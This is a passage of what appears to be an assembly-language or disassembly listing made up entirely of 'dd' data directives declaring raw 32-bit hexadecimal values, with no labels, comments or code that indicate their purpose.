		dd 0F40096CBh, 19D8030h, 14A55B2Ah, 0F8FA1B25h,	8F177A00h
		dd 80E303A3h, 93CB3Dh, 2C91D2FDh, 89BA04h, 0C42E6A6Eh
		dd 14A3A578h, 0C9B4CD50h, 655FD10Fh, 1C176053h,	0AF79D5h
		dd 5B59CBCh, 258ADC0Ch,	6C00D890h, 4D127A7Ch, 0F75018h
		dd 0F3731E1Dh, 0FB61A074h, 10E78B00h, 0FEC09A4Ch, 0E4E220h
		dd 0F56EA76Ch, 648CF7DAh, 1006490h, 3AF04AEEh, 0B36FD0h
		dd 0ADF4703Fh, 0DE2AE3A9h, 4EBBC51Dh, 80EE1C24h, 0DC1B9017h
		dd 1DCB1215h, 0E8144579h, 3EE809Dh, 9700DD99h, 0B3DC9B81h
		dd 95B0FF9h, 519BBE1h, 7D332CA0h, 2A1F523Eh, 0E080F6A5h
		dd 0D48E7496h, 31C93750h, 5C337390h, 0D1936CB0h, 6A0B4D00h
		dd 0BBA7CEC4h, 4B8C0057h, 58771694h, 7D00206Eh,	3978C89Bh
		dd 7E7BC50Ah, 0E88FE72Ah, 59802D3Bh, 62215F12h,	80600500h
		dd 7C3E0A61h, 251E303Dh, 855B1208h, 28EE9E00h, 30E6C26Fh
		dd 0FFBB0057h, 0FB0E8225h, 1F073134h, 891198B5h, 429CC780h
		dd 0BC6512DEh, 0B7B000FEh, 0D29449CAh, 9A547F00h, 3D19CBAh
		dd 0E720021h, 43770FF6h, 6D0014FBh, 68494758h, 0DC2242h
		dd 3879934Ch, 0C3E1B99h, 80CE3A3Ah, 773CEF56h, 0EB3AEBEh
		dd 38B91C1h, 0F6DD2AE0h, 0B11C09EEh, 0E400E192h, 0AD05BC88h
		dd 0FF7F0089h, 67B4063Ah, 3C000915h, 94FD288Ah,	89E39Eh
		dd 0FCA8741Bh, 36EDB762h, 2819C700h, 0E612FF3Fh, 5A5C00D7h
		dd 0C67DC916h, 8F00D941h, 55EFCB89h, 3D8D6557h,	110078A0h
		dd 0B158E8D0h, 73741BF3h, 0CEEBCC01h, 2E69A2D3h, 0EA562FF8h
		dd 50390022h, 83302067h, 94007134h, 0AAC2BA6Eh,	33C838h
		dd 3F7B46EBh, 0B46F41EFh, 1A1B0504h, 54906321h,	408EC7h
		dd 0EECA6BDEh, 0FFB99ECDh, 0AE860203h, 9383EA22h, 0CCB5E80Fh
		dd 7A374E5h, 0BB89C3CEh, 0E093A0FCh, 0B60007A1h, 0A204ECD5h
		dd 988154F4h, 0AE93D8Ch, 1504ADBAh, 0D3683BB9h,	35D1D1F0h
		dd 0B6808767h, 0C02788A0h, 83C48EFEh, 0B8655Ch,	222D6428h
		dd 0D5BAE36Ah, 72E9CE00h, 5ABCADD6h, 1F2E00D7h,	0B0CBB91Dh
		dd 0B83C4BAFh, 0F2F106C1h, 40A12Ah, 0E3D4DAE9h,	0D634D868h
		dd 36439401h, 0A8CA9F83h, 79DBF0h, 50ECD742h, 3646185h
		dd 336A1A00h, 5A80C546h, 75A40356h, 579BA0Ch, 7357C98h
		dd 93CD6B3Ah, 2E00A5B3h, 0EAD8801Bh, 0F8327F15h, 0FDACA868h
		dd 0C9BA6012h, 90872651h, 0C1808560h, 50FE194Ch, 50431011h
		dd 11F1C79h, 75ECD860h,	0F010C909h, 26002B84h, 0A9EB5D89h
		dd 0F176A2h, 5EECBE81h,	0AD6694CCh, 446D7400h, 0A62DD59Dh
		dd 0CBC01E27h, 0C4D74075h, 4904A058h, 34218700h, 2A8F52DFh
		dd 0E0C80070h, 7C9D6F2Fh, 9A075F02h, 0BEADDD10h, 4DA23E10h
		dd 428E6CBh, 4B7EC567h,	0B4FF8071h, 0A50383B7h,	0F26D631Eh
		dd 35E6C0C4h, 82E50EF3h, 0B9EB75CDh, 5942001Fh,	94C01A18h
		dd 0CC01772Ah, 0B521449Fh, 4ED02D97h, 163A04F1h, 809B5549h
		dd 0B69052C1h, 34CEA00h, 0B583C2CFh, 0D11200D4h, 698D7C77h
		dd 6E1F41A6h, 0BD7BC814h, 0AC48F6h, 68578AFBh, 5C37FCh
		dd 6F25E643h, 6334F736h, 1B66A0Eh, 2DA14051h, 94B8DDh
		dd 0E9C3DE2Eh, 5A9E56E6h, 5901D479h, 0CE3606B3h, 0E8307AB1h
		dd 18DFFC1Bh, 3660471Eh, 59003E79h, 14A41631h, 3B8CAFh
		dd 0F46B1A69h, 36043527h, 0E90B5A7Ch, 0A26862DCh, 0DE223Ch
		dd 0BE78E3FEh, 0EC567A28h, 0E42DEE00h, 0D44636D9h, 306CB0E2h
		dd 0ABDC18C2h, 3000DC24h, 8CC23F0h, 1909FEDAh, 28462AFCh
		dd 1FD0C4B9h, 54A0E501h, 2C90BD31h, 0B45424h, 8CB0877Dh
		dd 551D5F51h, 8ED05Ch, 986D4435h, 1EE3DDDh, 0EB26FA99h
		dd 72D90DB1h, 0B81D0570h, 0C40151E6h, 8519CE20h, 80EDE0h
		dd 74B96E26h, 0D02236A4h, 0E0FA3400h, 0E4013D16h, 706F0019h
		dd 7812F311h, 1C004C40h, 1B4D2975h, 0BFE2D8Eh, 589C5F1Ah
		dd 0C618AE80h, 0E33AF73Eh, 0D6EC0019h, 902D5EEDh, 0C11A9049h
		dd 85F7948h, 6A96CCD2h,	8D000772h, 3E984A74h, 0FB86EBh
		dd 5027855Dh, 5841E5AFh, 0E6007FFEh, 0C5338CEFh, 3C178A89h
		dd 7E89FDE0h, 0DC0551FAh, 0A148C0B3h, 26751F3Bh, 5FF1500h
		dd 0BE7F71DCh, 0F2D50314h, 0FCD71ED6h, 9FD907B0h, 0B1426E00h
		dd 0F80C602Eh, 2DBB3977h, 0FADAE00h, 9227D504h,	639C4F00h
		dd 578059A0h, 78510088h, 0AFC84B62h, 1C904C2Fh,	7C873C14h
		dd 900376D0h, 0D48D041Ah, 0D8D7A166h, 417A4C42h, 0F6822694h
		dd 2B641975h, 0F0B71940h, 0F5ACBA00h, 0DA538AD5h, 27F100BBh
		dd 0F2421F96h, 6700B8C0h, 3A707180h, 24921BC9h,	0BCE3B2h
		dd 6D90BCD2h, 53006845h, 0A90A4EF2h, 0C7E7E4h, 0BDEB0B32h
		dd 7BCBD6F0h, 5B82AE00h, 479AC5D4h, 0A2E200EAh,	4D766F9Fh
		dd 0B500D301h, 445CCA86h, 163D93E9h, 4342B159h,	61DC3E14h
		dd 0A903D2A0h, 1E91C600h, 0C4107212h, 34A81BF0h, 0DE00B24Dh
		dd 3DE7B34Bh, 3892662Ch, 4180384Ah, 3652A308h, 0B90059ECh
		dd 6D62EE47h, 5F9364h, 0D7722637h, 0F21EEF6Fh, 13CED00h
		dd 0F4270452h, 62D5006Ah, 56FCD73h, 1672D191h, 0E9D24000h
		dd 1CCEBF81h, 4B61867h
		dd 0B1E610C4h, 95763A07h, 4C90AAD7h, 26122128h,	1734058Fh
		dd 0E43C000Ch, 0A0DA5038h, 3B195700h, 0D3658285h, 33353E0Eh
		dd 80392180h, 4C1E5E51h, 0FBC73702h, 0E36FE1B4h, 0D912A834h
		dd 0A380012Dh, 8D31557Ah, 0D7B6F84Bh, 8008F03Bh, 8ED9117Fh
		dd 28D33747h, 3A47DEAh,	0FF8CFCDEh, 2E90256Ah, 764D45A5h
		dd 0DCD11854h, 0A0399h,	3FB58210h, 3755A351h, 69B0C900h
		dd 50D944B8h, 170300F7h, 0D0138DB1h, 7800776Fh,	0F5C00BE8h
		dd 1F53A3h, 0A85E03E0h,	0FC66C171h, 1020D600h, 43568E19h
		dd 67820074h, 5A3F6C98h, 0D0007C1Dh, 7218349Fh,	36163F1h
		dd 38E0EE4h, 2F98C91Ch,	2C96AFAEh, 5945B900h, 0B804793h
		dd 46619A63h, 9DE1950Fh, 0D8FE02C8h, 0B0EEEED5h, 5D075C00h
		dd 31F0E1DCh, 36590078h, 0E333D1D8h, 1100A83Fh,	0C5E0F6D2h
		dd 0A0C61D81h, 259B384h, 44ECF80Dh, 0FC41AC9Ah,	0EE3ED862h
		dd 10AAC630h, 13F0E8F2h, 0C792165h, 1219EA0Bh, 19FFB307h
		dd 100A1CEh, 2E9BC20h, 8A994535h, 0D448BFA9h, 0B00F8854h
		dd 0E0C647CAh, 1DD79190h, 0FE0C2616h, 395F80D8h, 0B2587C1Eh
		dd 665BEB1Fh, 0B2F6184Ah, 60174400h, 1B8E2A3h, 86D392C2h
		dd 0ED0CE520h, 1E033096h, 588148h, 0AF6DD8Eh, 12D1C1h
		dd 7E0DBFD7h, 0B9A9ADAFh, 73DFF300h, 0B688BB86h, 406C073Ch
		dd 0F05D32E4h, 0C0074F03h, 76025200h, 931AA048h, 0D4C300ECh
		dd 0CEBA9BADh, 3800CF26h, 1E8E81DEh, 0BFF64Dh, 3D88BCAFh
		dd 0B6A0D9A5h, 0DA34AE00h, 0D45E08ACh, 0E84500B0h, 6F6B7977h
		dd 0FC17B6DEh, 0F203BF73h, 82701EA6h, 0E05867h,	36F3A63h
		dd 9606F2A3h, 0A4FBCC00h, 0B32B52A9h, 0C290AFh,	989E9C61h
		dd 2D3415A3h, 690004F4h, 0A02F6295h, 5A9A7D2h, 4373FAD3h
		dd 77668309h, 97CDFED0h, 9CA3E902h, 0E0D426D8h,	875285h
		dd 5C296BFBh, 0D59F4858h, 0C7F29376h, 0B6AF3E00h, 0ACA19013h
		dd 7098982Bh, 0A6990024h, 495CCDB2h, 0F8263936h, 0D0061D0h
		dd 8F73F7CFh, 4EC03DDh,	0D70352B6h, 5CA2C6A8h, 0BB9D9200h
		dd 0BF1E3F12h, 16A70034h, 2ED74BC3h, 9307575Fh,	1151EEE1h
		dd 1CE20FB0h, 5A7A1CFBh, 3FEB000Dh, 0C9FDF0Bh, 1BE4A2Dh
		dd 8D05820Ch, 37C0C4h, 60B07B68h, 59E16C4Bh, 0AC673A00h
		dd 0CF1B866Fh, 8DC0089h, 75A7349h, 0EC00914Bh, 0F39DF838h
		dd 3893E843h, 0C10028FCh, 0F7D41A4Ch, 523F39F2h, 8D0B8F75h
		dd 3B8EE082h, 0B8B947h,	13E29D29h, 0C30FD1D7h, 96EFC81Fh
		dd 0C64C4907h, 803CBFDEh, 0B130680Dh, 94974A38h, 37BCC0ECh
		dd 640F7B28h, 386DE5Bh,	17AE0D0h, 93833610h, 0D09023F9h
		dd 5D00B8A4h, 0F7C2B02Fh, 0B613D2h, 691A7F6h, 36EB1150h
		dd 7423020Fh, 0FAD428h,	0E9DB531Fh, 18DCFC8h, 681BE599h
		dd 0D028B5D8h, 944AA27Eh, 5180BC1Eh, 9A02C0EEh,	86C504B9h
		dd 0A476438Ch, 780467CCh, 28FDEFD8h, 0F6BBDCA4h, 0E6D0FDA8h
		dd 0A9980033h, 0EBD141F5h, 0DA005F08h, 578688C7h, 0A331FCh
		dd 2E35D25Eh, 7CD5162Bh, 0EF966F07h, 0E1505C2Ch, 3D93BB38h
		dd 71004151h, 6470A1A4h, 0FE004669h, 0CD9DDD66h, 138346Ah
		dd 96E5BCFDh, 0E81DD92Bh, 41F72DA4h, 6034B0B9h,	44F18198h
		dd 0FF6DC1DEh, 1E946440h, 0D2127307h, 0D360D51Ch, 3DCEEEh
		dd 1F384DD7h, 1D2E57D6h, 4358A803h, 55A91Eh, 0F9A29E10h
		dd 6FD538EAh, 0F5A5B009h, 42B8C871h, 0FE197A06h, 911400DCh
		dd 0FE5DCBA3h, 9A002089h, 6FAED811h, 439E60h, 5C8F2722h
		dd 0B25E57AAh, 0FDFC60EBh, 81006492h, 0B99499Ah, 4CFBDFF1h
		dd 0BC00A892h, 42641327h, 2400A908h, 4D0AF70h, 134F2E7h
		dd 92D455D3h, 8091BE36h, 0A0FFDD51h, 9A8241h, 0B875BD6Ch
		dd 0F744E46Bh, 0D71B1900h, 10568A83h, 0C8FA0036h, 1224FE8h
		dd 9D01E48Ch, 512C07F9h, 0D6DC78F6h, 0A87A3AC1h, 6957007Fh
		dd 0A909B455h, 8E00E42Eh, 3826B71Ah, 9ABE2359h,	0B6F475ECh
		dd 0E87605A0h, 272880A0h, 0C5043A5Bh, 0D63B5042h, 0EAFED80h
		dd 35F0009Fh, 28DC6B2Dh, 4F00A947h, 0CEABFF41h,	4525427h
		dd 0C845FF4h, 803890B6h, 0C5007ADEh, 0C09BC6FBh, 0E71DD23h
		dd 2B3CB4CAh, 0C25AAFC0h, 59006C91h, 63B05CFBh,	0E68FCF1Ah
		dd 5CC00F2h, 0FEAEB261h, 0DF030ECBh, 39FAD744h,	3EDF011h
		dd 377A3Dh, 512BDCA4h, 73A8CD95h, 422AC100h, 0B884D4E2h
		dd 44BA1F32h, 0FEB1C15Bh, 4068FA14h, 0C74028BCh, 6C669803h
		dd 0F8A41B0Ah, 27BC71D3h, 0E4877E07h, 0D19490F4h, 6D004780h
		dd 0E4DF23B3h, 783725h,	0C017C96h, 0DEAFA904h, 0B9ECA8E6h
		dd 9A5810Eh, 0FDC980BCh, 3CEC90h, 0CD55F1FBh, 0C30F2B0h
		dd 68D1FC00h, 18E40DBBh, 0D7F512E1h, 1BBA04AEh,	0C8993A6h
		dd 111B0A8h, 1C5DFC09h,	0BCEC24C3h, 0D00090A2h,	1D66228Bh
		dd 9C13F255h, 0BAE31EFh, 84C0F3D1h, 0AEF25A57h,	0B5914401h
		dd 0D4874EEBh, 0B80DC62h, 26B5C307h, 0ED3AD501h, 0C299312Bh
		dd 2926074h, 3C5A9CEBh,	8CA1DCE2h, 0C4BA8ACAh, 4700891Bh
		dd 19A03DB4h, 48C5A76Ch, 3E007940h, 0BEE15574h,	7E009764h
		dd 778783E0h, 88932h, 22A56DE3h, 0FAA903E7h, 0C3449707h
		dd 28001319h, 17A77Dh, 3EBB8107h, 9BF15DFBh, 0C81549Eh
		dd 9A76DAF3h, 0BE3FC30h, 10D4F0DEh, 0C5CCB280h,	50B0437Fh
		dd 70064B6h, 0E7050EBBh, 58F0C04Ah, 0D4459730h,	304EBF3Ah
		dd 0F01819A9h, 338600FFh, 9C47C4ABh, 2400448Ch,	1A4B8431h
		dd 0E2F809A8h, 92EF007Dh, 973215EDh, 36001EE2h,	71D7C51Fh
		dd 0ABB403h, 145095C3h,	6C92933Eh, 0FB624A00h, 0C60E7DFFh
		dd 20610F66h, 456069C5h, 0E7D196F6h, 9B5A100h, 0AC77B20Ch
		dd 618E0088h, 0C833B882h, 470703A8h, 2F025B8Fh,	0C5FF2B90h
		dd 807721h, 8EBD6124h, 0A3AAB864h, 9C07D24Ah, 88606353h
		dd 34CDC06h, 72DD683Fh,	34E01C2Dh, 0DE074D76h, 150499Eh
		dd 0E051AC33h, 73F74E72h, 0F0B03A5Fh, 4017B69Dh, 1EE3AA1Ah
		dd 0FB0048F4h, 7B44E5D9h, 7A316BB2h, 0E46A00C4h, 0D6D1CCC1h
		dd 4D003A2Eh, 0FF39F192h, 0FE41AEh, 0B51D6F25h,	0FB609598h
		dd 50E0C701h, 0CEC271C1h, 1CB1CC8h, 0E40B726Bh,	2C549113h
		dd 0C8FE0088h, 48FC6076h, 6A561C81h, 0CF9880BEh, 0B084DAF6h
		dd 4A7D0892h, 63BF2D02h, 400BE667h, 7052C8h, 0CB6F533Eh
		dd 8DB0F9DAh, 5900649Eh, 0E027915Eh, 0D60800B8h, 6F79102Bh
		dd 0B704C9EDh, 4EC8B51Eh, 709810C0h, 7ABFEF1h, 0D61C5B88h
		dd 0D0C2A48Bh, 0D262739Ch, 4476A1E4h, 0BC4B6300h, 1EF7503Eh
		dd 95140328h, 4A6FCD7Eh, 408770D0h, 0DFA3510Ch,	24811142h
		dd 0C3E6Bh, 8FDEAD22h, 0C1000557h, 0D6F6489Dh, 7A5184h
		dd 0DC87FEC4h, 0E30F49Fh, 8AA48500h, 0DBB66BB3h, 3150219h
		dd 6563B553h, 4AB2FD80h, 0F00B78Bh, 0A39BCFF9h,	2DAB1h
		dd 19FAEB76h, 3DE3DC80h, 4652680Fh, 0CCB680D4h,	5E38E4h
		dd 6F8073A1h, 0E2660D77h, 5203847Ah, 8BDE6D78h,	0E767BBDBh
		dd 974D46D0h, 2AB100B5h, 0BEC305D5h, 0A1005969h, 0E2BB08DAh
		dd 1C797A38h, 2F40A8Dh,	0B9E525BCh, 0B984C58h, 0E6002CB0h
		dd 1828E453h, 9B1AAFh, 22C6BD84h, 0CA7265B1h, 349D5600h
		dd 498379C9h, 52573D7Ch, 4CBCE580h, 47EA1A61h, 8BAD761Dh
		dd 0F68E22C0h, 0E8E48Fh, 0C617DED3h, 7D869EBCh,	0F7CAA11Dh
		dd 0EE00106Eh, 48D8088Ah
		dd 8FF4009Ch, 75C73FB0h, 913A096Ch, 0A7378049h,	404F9486h
		dd 0A9CE0052h, 15CB56DEh, 8F01BFAFh, 1DF42C6Eh,	0F4383CC7h
		dd 0A4CE7801h, 340C5C85h, 909EFA8h, 45BF0AFCh, 50C9786Ch
		dd 640037B0h, 8868BEC8h, 0EB83362Dh, 8F64079h, 5E67F23Dh
		dd 10AA700Ch, 407E0136h, 0C2C88C69h, 76508BB8h,	2E5A0268h
		dd 64527Bh, 2041C4DBh, 15E8D878h, 25B9442Fh, 0C8E43484h
		dd 0D868121Fh, 0E75480ECh, 353D4515h, 5EFDC475h, 0DE2C2025h
		dd 0BB1F9086h, 17BAADABh, 0FE0114F2h, 81E824B9h, 0F74F9881h
		dd 0D0B55B0Eh, 0E900BA46h, 0B2DCF3E5h, 1DCA50A3h, 0C08469C7h
		dd 9BB54995h, 613E7890h, 88F280C1h, 0C765D99h, 0DD19009Ch
		dd 11498DA3h, 0D702AF1Fh, 0D9905F4Bh, 866460DFh, 9E46006Eh
		dd 0D4F91D9Fh, 4E0FD2B5h, 0FE24A4h, 6ACE97B6h, 0BA47006Bh
		dd 0DA7F4D58h, 6567B223h, 5E0051D8h, 1CA14FB6h,	752BBE3h
		dd 30578D06h, 0D05D8708h, 4384CD00h, 0AA660411h, 174E8FDh
		dd 7FB703B0h, 80C3CEB9h, 99FCD7AAh, 12852FAh, 0A8A0A9A5h
		dd 93B5879Ah, 5C008112h, 50081E98h, 80464C8Bh, 94558E00h
		dd 0A67EB4DFh, 198D5D0Eh, 804549E0h, 0B75E900h,	66AF00EAh
		dd 7CBCF2A4h, 0A9009CBAh, 149E44A2h, 0E0E4984Ah, 0F74000FFh
		dd 99011909h, 0EA0046E9h, 0BCC314D3h, 0DAC796h,	527D552h
		dd 31FDFBFEh, 2810E41Eh, 2494B40h, 0B8D063CBh, 73DD7E8Ah
		dd 471E002Ch, 0E6EC717Ah, 610797DEh, 52EF8976h,	0F02A3DA3h
		dd 4A1FC8F3h, 0E95CC10Eh, 0C49C21FCh, 8401095Ah, 31296AA0h
		dd 14385F55h, 32913603h, 0D580CE13h, 0AF0B94EEh, 0EFAD271h
		dd 0A73F6064h, 20334ABh, 0BDA61A44h, 2CE0CDAFh,	0F9012B6Fh
		dd 162D9240h, 0F8202032h, 216E3A7Eh, 8882D981h,	795A593Dh
		dd 0C63B1D18h, 6BBC923Ah, 0E9CFE840h, 35EBAEh, 460C21B3h
		dd 5CB773C2h, 0BEA69903h, 0B0188574h, 3CEB1F05h, 75014510h
		dd 7E31AD1Ah, 36D2C038h, 8825E607h, 809EFD3Fh, 8D9E0D63h
		dd 0E06F00EEh, 0C22096B2h, 79772E39h, 71695E00h, 3FE69AD6h
		dd 35BC000Fh, 1336EFA8h, 641D1FE0h, 6F93D3FDh, 8544AA00h
		dd 7F95C30h, 0F7332492h, 0E8674FA5h, 0C92D6195h, 0A427F094h
		dd 5B144200h, 2A2E4DD4h, 74598BFh, 25C27B61h, 206BB034h
		dd 1A0FF691h, 0E02E3AC8h, 7B310540h, 0E01F0F4Ch, 0D50385EBh
		dd 99C846F5h, 8E98B321h, 34039007h, 0E02FB113h,	0D2AF32ABh
		dd 28597F37h, 2AC7AF1h,	0C0CF4DD8h, 7140098Dh, 1C7271C3h
		dd 34EFFB25h, 83FC1568h, 1200C4C3h, 17E99DC7h, 0DB01468Dh
		dd 4A8E49E8h, 58D119A1h, 9F07B069h, 0C072E08Ah,	0CE312BEEh
		dd 2F249249h, 42CC1095h, 94230106h, 1D50A232h, 0FCFAE0FBh
		dd 9381B709h, 0B5C6818h, 5381C0E7h, 0A96ED1D6h,	9BAFD004h
		dd 9EC07831h, 98D38F22h, 690F0926h, 0A4405F51h,	981EB8Ah
		dd 0DE812FEBh, 7F00003Ch, 4576B684h, 0F6C994Eh,	0E992AD86h
		dd 0E5277AA0h, 0B00252D8h, 0F74D6688h, 0A858A7h, 0D7FAC67Dh
		dd 0E145C30Fh, 5206EA01h, 0D9C15938h, 761B72E8h, 9B7D00ABh
		dd 8F512C0Bh, 0CE1D4060h, 5C005F6Ch, 8B385AA6h,	68670016h
		dd 90258F10h, 0A40012CBh, 5BA5468Eh, 2C24A27h, 45B83626h
		dd 1B61496Dh, 7230C02Dh, 3F033507h, 78003A65h, 33B4AF0h
		dd 998A2FE6h, 12A07B2Ch, 0BB309AD3h, 98A86065h,	0EF8E00F5h
		dd 11326F6h, 9CEA3AC7h,	0CB003574h, 4CA1D728h, 0F5FF83h
		dd 0C8A688ACh, 2CD8241h, 2F291A02h, 80C363B1h, 0ECB2CAACh
		dd 0B6E1005Bh, 5DE548D5h, 6F2C0741h, 880078CEh,	47DBFAEAh
		dd 189925C8h, 1C63B8E8h, 0A3111403h, 0E038E8CEh, 0B8745DE0h
		dd 840800DCh, 9DAAD479h, 0D71D51A3h, 864F9C39h,	342A00F6h
		dd 1E5890F3h, 7A64D0Dh,	0FFCEC442h, 0C90CF720h,	3A61E902h
		dd 0B61FABA8h, 0D507F801h, 23A1DB1Dh, 0A4EC307Ch, 2D802A00h
		dd 0D59974E9h, 0FCB200D0h, 284F772Eh, 435BB6BEh, 0A052E800h
		dd 74A9D0F5h, 445930FBh, 2FE30218h, 4B97025h, 0FCA4514Ch
		dd 9F1100A7h, 0DCDED974h, 14186C39h, 0ECF0268Ch, 0F1BD0B67h
		dd 14017DBEh, 2F6936E5h, 3F03921Dh, 0C83BBCAAh,	7BA9ACE1h
		dd 888300D9h, 0C6768CDh, 531D3924h, 90934FF2h, 4564A4h
		dd 74A9714Bh, 0B7D1D4EDh, 5823AB00h, 4A19859Eh,	76020195h
		dd 342D0887h, 621030F8h, 0BF2F0B00h, 6718E8D9h,	0E0CE0015h
		dd 31B54A79h, 237E0EC7h, 83C3051Eh, 70D19D40h, 77CF8Dh
		dd 5B7360AFh, 0C5B6A738h, 892D553Ch, 6868E6CEh,	740577Ch
		dd 31D0E2ACh, 0A9A39016h, 721F6198h, 599EF0E8h,	8B182700h
		dd 97FA14FDh, 0D0CF90C3h, 1AA144C7h, 26599300h,	0A7E9E24Dh
		dd 8AB50EFCh, 0F380D022h, 9385133Dh, 97DA1B00h,	3195563Eh
		dd 0ACE80008h, 1EF4F8A6h, 0F900AEA4h, 0E37C7115h, 5B6BFBh
		dd 225C666Dh, 8EBCCAC6h, 8D87E400h, 0D5CC3DDFh,	0E96E010Eh
		dd 0B2FAFCF4h, 0D1BFEC0Fh, 7031600h, 33D414B8h,	0FBAD00E8h
		dd 0F69CE92Bh, 0EAFAFF3Ah, 6030170Fh, 0AC76E00Ch, 0FB394CFh
		dd 51E6C60Fh, 7A011A00h, 6D001498h, 0C1910A04h,	0E8E05E47h
		dd 66683C2Dh, 468C3907h, 7A9A800Dh, 7B2C2443h, 44808C3Bh
		dd 1371B0CFh, 30F7A49h,	0C742EA3Eh, 0C6D0E530h,	2F03E8DAh
		dd 0E102E0A2h, 3304E868h, 32F90066h, 8DFE3651h,	0E7012D6Ah
		dd 0A2318122h, 8C307180h, 0D8500215h, 0EFD149C3h, 0BA023052h
		dd 2E516581h, 0BB324087h, 0C0F0EFF7h, 75887898h, 3C28DE38h
		dd 0A1C400F8h, 0E2B083A4h, 111D65C2h, 0D7094D93h, 0C4EF00FEh
		dd 7FC25E8h, 334915C7h,	1970009Dh, 0B010935h, 0E2A5098h
		dd 0EFE41D1Ch, 0C3FC84h, 0BB1E1213h, 0D65B6580h, 0BACF8600h
		dd 7E8D66D5h, 3BFE98B9h, 0BC008773h, 0C192F58Ah, 0C1C041FCh
		dd 0A5D27538h, 3EEF09C8h, 0BC79F16Bh, 0B60CE3E4h, 0E3AA0D8h
		dd 81963CB7h, 0FBB6828h, 0D3D039A6h, 9E48026Ch,	703E2462h
		dd 82809451h, 0B3ADBBA1h, 0BD73001Dh, 0E368EED6h, 8607E27Dh
		dd 0D43D19F5h, 0AB30A9C0h, 2571DBh, 0E9CDB675h,	0B5E20212h
		dd 229C4500h, 969AB38Ch, 0E02830ABh, 8D35BCAh, 710D3Ch
		dd 4E1F7548h, 70ACEA6h,	0B76DB0FFh, 0D5BD20F6h,	1D1E58C6h
		dd 0CC09CEDh, 0A945C863h, 659B00AEh, 13D0330Fh,	0E80024BBh
		dd 0AD4F5030h, 15DBAC2h, 2CAC63B5h, 0F051DDAFh,	0D2025EA9h
		dd 0ADBF7CA2h, 0D940483Ah, 970F03CBh, 0B888D0C0h, 858A88Bh
		dd 0FA20624Fh, 0A74C40D3h, 0DF4000E8h, 0D8191FC0h, 0C6006941h
		dd 33F00734h, 58FB513h,	9336D154h, 48C0028Ch, 3076C464h
		dd 0EDC0A247h, 19A815F1h, 90234D9h, 0C2218584h,	91C0ED94h
		dd 0F0B88CA3h, 0E921FECh, 97803E71h, 54550324h,	3400A1E6h
		dd 0F59ADE2Fh, 13E8EABh, 65E781DBh, 8269375Dh, 86C18251h
		dd 258C3B5h, 61E7D098h,	0E560BDB1h, 21373A19h, 39C13071h
		dd 1984C1D5h, 5C991Ah, 72E4B5CAh, 8451C050h, 0E9CF7A9Fh
		dd 66D6320Eh, 0A08FAD1h, 803C4B10h, 173502B8h, 740BEDh
		dd 0B5C7F5D4h, 0D0C91A0Eh, 0F6E79CA0h, 767A2200h, 0A4640560h
		dd 24174C59h, 72700075h, 62E43FB6h, 0B003E4Ch, 29C07B65h
		dd 9AC4DF2h, 0E956FD40h, 8881F001h, 0E4F03114h,	6900EE0Ah
		dd 0BC212584h, 1203BD2h, 1719CCBEh, 0C4085FC3h,	1F007CC4h
		dd 0E5433524h, 0FB228AAh, 2F2CC859h, 0B9520F60h, 0CA0071C0h
		dd 769D6FBFh, 28E583h
		dd 1ACE0517h, 0B1B7E442h, 0BAF3C538h, 0FFD50FB9h, 0F673250Ch
		dd 45DC0280h, 0E28C01Dh, 5C8ACF3Bh, 9199F31Eh, 0AB6E2CC0h
		dd 730554Ch, 60FCBDF7h,	66EC40ACh, 26F043B1h, 0B9154500h
		dd 0A8738B97h, 2C3E0E96h, 2D8004C4h, 0D86709ADh, 9D3CF700h
		dd 64E69955h, 123FAFDh,	265703F2h, 0C0D9FBF1h, 4E1C1D71h
		dd 0BF40D1AAh, 0A0244675h, 1C1B002Bh, 2F60A78Eh, 0C000FF7Eh
		dd 5E3F6FD4h, 0F3F607h,	0D3CCAD5Bh, 0CDC2B2CBh,	4B568D0Eh
		dd 813CA108h, 0C0C2C796h, 2FC48Ch, 3FC04F63h, 0A8147FF0h
		dd 0EB60E603h, 0B070F1h, 565D9878h, 39F51509h, 898E4304h
		dd 6AF0AD10h, 7B700E20h, 0CC8B33E5h, 72FAA400h,	0B900D1D0h
		dd 0BEF72B1Eh, 0F4FFEE15h, 1D84016Ch, 0EFB36EC4h, 281CDF7Dh
		dd 0D8C00636h, 5CA08198h, 929C18ADh, 0D329581Eh, 46006074h
		dd 0ED7A545Eh, 3A805975h, 0BB0048F7h, 631DC04Dh, 5300F35Ah
		dd 8262C29Fh, 78AF6DB4h, 0C3E833h, 3E176F30h, 38B05902h
		dd 0BB6EE000h, 0A606BCECh, 59A0BB1h, 2600E551h,	9743B735h
		dd 0BEE7A20Eh, 0D5FD858Ch, 0F841D300h, 3FDF80h,	1B965EE9h
		dd 7718C30Dh, 14A048h, 250B382Bh, 24DDF8h, 0B78D9ACEh
		dd 0DF629607h, 6F924C03h, 0C0935552h, 13E1D2h, 3B0AE6F9h
		dd 0C8A8121Ah, 0B53DCE01h, 2BF10936h, 2F47AC40h, 0B7EA0717h
		dd 0B01810DBh, 0E21C8F89h, 210B5700h, 608113A1h, 5D1B077Eh
		dd 9089C745h, 44EE3A1Fh, 0CB004EF2h, 160D74ACh,	0FC50DE8Bh
		dd 2B59073Bh, 21D177ADh, 0ECCA4F9Ch, 0C37775A0h, 91623818h
		dd 70E1DD0h, 2783B5C6h,	6B39700Fh, 4E5051E2h, 64EC41D0h
		dd 1F60E480h, 0CE477Ch,	274DF473h, 490E10EEh, 8096A24Bh
		dd 0AB2EB82Ch, 625B001Fh, 7DFB4D47h, 0C003BEE9h, 6643399h
		dd 0D4CB88AFh, 9F2E305Fh, 0F2A83580h, 0A4E7EF01h, 6D99F50Dh
		dd 0B6207080h, 319A9397h, 0BDE85AE2h, 9B2ED0FCh, 9F012584h
		dd 5014CE88h, 1079E8h, 9F88F52h, 36DF1B8Eh, 9D9AE61Ch
		dd 16AC041h, 248011E5h,	418AF0C6h, 0B60097AEh, 5D5738A3h
		dd 0BB227h, 436FE058h, 82CB62DDh, 0DF24962Eh, 0D2086300h
		dd 5ABD56h, 5D7A55E5h, 5049329Dh, 0B658B500h, 18238333h
		dd 166C1D34h, 7103008Eh, 17A5B112h, 0FE3D1D00h,	91AD429Dh
		dd 62CB0745h, 0C30DFA87h, 0B19021B9h, 0F00018D9h, 10450F3Eh
		dd 0BA92D8h, 9E116C42h,	2139A84Fh, 0E0350C00h, 44CB0872h
		dd 6F013F4Ah, 5A3E8180h, 0FE2F4CA1h, 0BA4783Bh,	7916138h
		dd 93A00D04h, 0C95EB4h,	4367D83Ch, 2495D3FFh, 22401300h
